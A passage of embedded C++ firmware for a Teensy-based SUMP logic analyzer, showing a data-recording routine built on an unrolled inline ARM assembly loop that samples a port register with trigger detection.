();\n SUMPreset();\n }\n\n if (sv.triggerMask[0])\n {\n triggerPtr = startPtr + sv.delaySizeInElements;\n\n \/\/ if using trigger, it always wraps\n bufferHasWrapped = true;\n }\n\n \/\/ adjust trigger count\n dynamic.triggerSampleIndex = (triggerPtr - startOfBuffer) * samplesPerElement;\n\n \/\/ inputPtr is always incremented, even if first sample is the trigger\n if (bufferHasWrapped && (inputPtr != (startOfBuffer + 1)))\n {\n dynamic.bufferHasWrapped = true;\n }\n\n set_led_off ();\n}\n\nvoid recordDataAsm3Clocks (sumpSetupVariableStruct &sv,\n sumpDynamicVariableStruct &dynamic) {\n\n \/\/ This function records data in 1k byte chunks. At the end of each loop,\n \/\/ it decrements a counter and jumps to the top. This takes an extra 3 clocks,\n \/\/ so it loses 1 sample for every 1k recorded.\n \n volatile uint32_t* portDataInputRegister = &PORT_DATA_INPUT_REGISTER;\n#if Teensy_4_0\n volatile uint32_t* USB0_ISTAT_register = &USB1_ENDPTCOMPLETE;\n#else\n volatile uint8_t* USB0_ISTAT_register = &USB0_ISTAT;\n#endif \n boolean fillingCache = false;\n uint32_t *inputPtr;\n uint32_t loopCount = 1;\n uint32_t tempValue = 0;\n byte triggerMask = sv.triggerMask[0];\n uint32_t workingValue = 0;\n\n#if not Teensy_4_0\n \/\/ need to record in upper SRAM (which starts at 0x2000_0000) to get the speed\n sv.startOfBuffer = (uint32_t *)0x20000000;\n#endif\n \/\/ assumes 4 samples per element\n dynamic.triggerSampleIndex = 0;\n\n sv.samplesToRecord = (sv.endOfMemory - sv.startOfBuffer) * 4;\n\nDEBUG_SERIAL(print(\" endOfMemory: \"));\nDEBUG_SERIAL(print((uint32_t)sv.endOfMemory, HEX));\nDEBUG_SERIAL(println(\"\"));\nDEBUG_SERIAL(print(\" samplesToRecord: \"));\nDEBUG_SERIAL(print((uint32_t)sv.samplesToRecord));\nDEBUG_SERIAL(println(\"\"));\n if (sv.samplesToRecord > sv.samplesToSend) {\n sv.samplesToRecord = sv.samplesToSend;\n }\n\n loopCount = sv.samplesToRecord \/ 1024;\n sv.samplesToRecord = loopCount * 1024;\n sv.samplesToSend = sv.samplesToRecord;\n sv.endOfBuffer = sv.startOfBuffer + (sv.samplesToSend \/ 4);\n inputPtr = sv.startOfBuffer;\n\nDEBUG_SERIAL(print(\" \/\/ inputPtr: \"));\nDEBUG_SERIAL(print((uint32_t)inputPtr, HEX));\nDEBUG_SERIAL(println(\"\"));\nDEBUG_SERIAL(print(\" startOfBuffer: \"));\nDEBUG_SERIAL(print((uint32_t)sv.startOfBuffer, HEX));\nDEBUG_SERIAL(println(\"\"));\nDEBUG_SERIAL(print(\" endOfBuffer: \"));\nDEBUG_SERIAL(print((uint32_t)sv.endOfBuffer, HEX));\nDEBUG_SERIAL(println(\"\"));\nDEBUG_SERIAL(print(\" loopCount: \"));\nDEBUG_SERIAL(print((uint32_t)loopCount));\nDEBUG_SERIAL(println(\"\"));\nDEBUG_SERIAL(print(\" samplesToSend: \"));\nDEBUG_SERIAL(print((uint32_t)sv.samplesToSend));\nDEBUG_SERIAL(println(\"\"));\n\ndelay(500);\n\n#if Teensy_3_6 || Teensy_4_0\n \/\/ call loop once to get the code in the cache so it runs faster\n uint32_t *previousInputPtr = inputPtr;\n int previousLoopCount = loopCount;\n\n \/\/ set up for one loop, no trigger\n loopCount = 1;\n fillingCache = true;\n triggerMask = 0;\n\n \/\/ call the loop and return to here\n goto RunAsmLoop;\n\n ReturnFromFillingCache:\n\n \/\/ restore data\n fillingCache = false;\n inputPtr = previousInputPtr;\n loopCount = previousLoopCount;\n triggerMask = sv.triggerMask[0];\n#endif\n\n if (sv.triggerMask[0])\n {\n \/\/ trigger is always at the beginning\n sv.delaySamples = 0;\n\n set_led_on ();\n }\n\n maskInterrupts ();\n\n \/\/ assembly : \"<instructions>: [] :: \"rx\");\n \/\/ asm(code : output operand list : input operant list : clobber list);\n \/\/\n \/\/ output operand list = [result] \"=r\" (y) result = name, y = c expression\n \/\/ (= means write only, + means read\/write, & means output only\n \/\/ input operand list = [value] \"r\" (x) value = name, x = c expression\n\n \/\/ because of endianness (Teensy is little endian), need to store bytes in\n \/\/ locations 3,2,1,0, 7,6,5,4, etc. This is so that send_data can pull the data\n \/\/ out as 32-bit integers.\n\n RunAsmLoop:\n asm volatile (\"add %[inputPtr],%[inputPtr],#3\\n\\t\"\n \"cmp %[trigMask],#0\\n\\t\"\n \"beq asm3_record_loop\\n\\t\"\n\n \/\/\n \/\/ look for trigger\n \/\/\n\n \/\/ read sample\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"asm3_looking_for_trigger_loop:\\n\\t\"\n\n \/\/ if (usbInterruptPending)\n \"ldr %[tempValue],[%[USB0_ISTAT_register]]\\n\\t\"\n \"tst %[tempValue], #251\\n\\t\"\n \"bne asm3_usb_exit\\n\\t\"\n \n \/\/ save as first sample but don't increment inputPtr yet\n \"strb %[workingValue], [%[inputPtr]]\\n\\t\"\n \/\/ read sample\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \/\/ if ((workingValue & trigMask) == trigValue) {\n \"and %[tempValue],%[workingValue],%[trigMask]\\n\\t\"\n \"cmp %[tempValue],%[trigValue]\\n\\t\"\n \"bne asm3_looking_for_trigger_loop\\n\\t\"\n\n \/\/ trigger - save as second sample\n \"sub %[inputPtr],%[inputPtr],#1\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n\n \/\/ go to 3rd sample\n\/\/ \"b asm3_third_sample\\n\\t\"\n \"b asm3_fifth_sample\\n\\t\"\n\n \/\/\n \/\/ record data\n \/\/\n \n \".align 3\\n\\t\"\n \"asm3_record_loop:\\n\\t\"\n\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"asm3_third_sample:\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"asm3_fifth_sample:\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 32\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 48\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 64\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 128\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 32\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr 